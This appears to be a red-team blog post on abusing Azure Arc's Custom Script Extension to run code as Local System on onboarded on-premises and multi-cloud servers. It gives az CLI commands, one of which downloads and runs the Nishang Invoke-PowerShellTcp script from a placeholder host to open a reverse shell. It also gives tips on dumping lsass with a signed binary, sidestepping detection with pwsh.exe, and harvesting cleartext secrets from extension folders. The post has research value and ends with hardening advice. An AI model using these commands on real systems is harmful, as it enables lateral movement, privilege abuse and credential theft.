Abusing Azure Arc for Lateral Movement

Azure Arc is one of those services that quietly expands an organization's attack surface. It exists to make hybrid and multi-cloud management easier, but the same machinery that pushes configuration to a fleet of servers can push an attacker's code to them too. In this post we cover what Azure Arc is, how resources are onboarded, and how a compromised Azure identity can abuse it to move laterally into on-premises and other public-cloud environments, running as Local System the whole way.

What is Azure Arc?

According to Microsoft, Azure Arc is a bridge that extends the Azure platform so you can build and run applications and services across datacenters, at the edge, and in multi-cloud environments.

In plain terms, Azure Arc lets you manage resources that live on-premises, in other public clouds (AWS, GCP, Alibaba, and so on), and on edge or IoT devices, all from the Azure Portal. The resource types currently supported outside of Azure include:

• Physical and virtual Windows and Linux servers
• Kubernetes clusters
• Azure data services (SQL Managed Instance and PostgreSQL Hyperscale)
• SQL Server
• VMware vSphere and Azure Stack HCI

Why organizations use Azure Arc

The benefits that drive adoption:

• A single control plane (Azure) for every resource, wherever it runs
• Policy deployment for compliance and governance
• Microsoft Defender for Cloud coverage
• Patch management
• Azure Monitor, including forwarding Event Viewer logs to a SIEM
• RBAC, tagging, and identity policies
• Automation through extensions that run post-deployment configuration
• No cost to start: you pay only for the policies and attached Azure services, such as Defender or Monitor

Onboarding an on-premises or multi-cloud resource

Onboarding is straightforward whether you add one server or many. From the Azure Portal, search for Azure Arc:

On the left, under Infrastructure, choose Servers and then Add:

For this demo we onboard a single server. Click Generate Script and confirm the three prerequisites are met on the target server:

Click Next and fill in the relevant details:

Add any tags (optional) and click Next:

Open PowerShell as Administrator on the server and run the generated script:

Once the agent is installed, go to Azure Arc, then Infrastructure, then Servers. The server should show as Connected:

Abusing Azure Arc for lateral movement

Now that we know what Azure Arc does and why teams use it, let's look at how to abuse it to move laterally into on-premises or other public-cloud environments.

One attack vector on Arc-onboarded servers is running custom scripts through the Extensions feature. (Windows Admin Center is another vector, which we'll cover in a separate post.) The important detail: the service that executes the script runs with Local System privileges.

Any role holding the Microsoft.HybridCompute/machines/extensions/write permission can install or update an Azure Arc extension. During our research we identified several, including:

• Owner
• Contributor
• Azure Connected Machine Resource Administrator
• Hybrid Server Resource Administrator
• Windows Admin Center Administrator Login

Attack path

Assume that during an engagement you compromised a user holding the Azure Connected Machine Resource Administrator role, and your objective is to move laterally into the organization's on-premises or other public-cloud environment.

With the compromised account, open a server you have rights on and, under Settings, click Extensions:

Click +Add, choose Custom Script Extension for Windows — Azure Arc, then Next. The portal wants you to browse and upload a script from a storage account. In our scenario we can neither create a storage account nor upload a script to an existing one:

To get around the storage-account requirement, we use the Azure CLI, a cross-platform command-line tool for connecting to Azure and running administrative commands against Azure resources. The extension we need is connectedmachine, and the required parameters are:

• machine-name
• resource-group
• name (the extension name)
• type
• publisher
• settings
• location

Run the following to execute a command and retrieve the server's local IP address:

az connectedmachine extension create \
  --machine-name i-0ef6d7a83a00e \
  --resource-group AzureArc-RG \
  --name ipconfig \
  --type "CustomScriptExtension" \
  --publisher "Microsoft.Compute" \
  --settings "{'commandToExecute':'ipconfig'}" \
  --location "eastus"

Then use the Nishang Invoke-PowerShellTcp script to receive an interactive reverse shell on the machine:

az connectedmachine extension create \
  --machine-name i-0ef6d7a83a00e \
  --resource-group AzureArc-RG \
  --name RemoteCode \
  --type "CustomScriptExtension" \
  --publisher "Microsoft.Compute" \
  --settings "{'commandToExecute':'powershell -c iex(New-Object Net.Webclient).downloadstring(\'http://x.x.x.x/Invoke-PowerShellTcp.ps1\');Invoke-PowerShellTcp -Reverse -IPAddress x.x.x.x -Port 8080'}" \
  --location "eastus"

Because the extension service runs as Local System, your shell lands with the highest privileges on the host, and that host may sit inside an on-premises network or another cloud entirely.

Bonus: living off the land

Inside the Azure Arc installation folder C:\Program Files\AzureConnectedMachineAgent\GCArcService\GC you will find some useful signed binaries:

• createdump.exe — dump lsass.exe (or another process) without reaching for mimikatz. Administrator or System rights are required.
• pwsh.exe — use this instead of the default powershell.exe to sidestep some detections.

Bonus: hunting for sensitive data

Azure Arc extensions store their data in clear text under C:\Packages\Plugins:

If you land remote code execution on an Azure VM or any Arc-managed machine, enumerate the plugins directory for secrets left behind in extension settings.

Detection and hardening

• Monitor every installed extension
• Apply least privilege and reduce the number of privileged users
• Monitor change tracking
• Block Azure CLI tooling with a Conditional Access policy
• Watch server activity for suspicious command execution
• Enable Privileged Identity Management (PIM) for just-in-time access

Acknowledgements

Thanks to Karl Fosaaen and Jake Karnes for their earlier research on related subjects.

References

• Microsoft: Azure Arc overview
• NetSPI: Abusing Azure Hybrid Workers for Privilege Escalation
• Azure Arc cheat sheet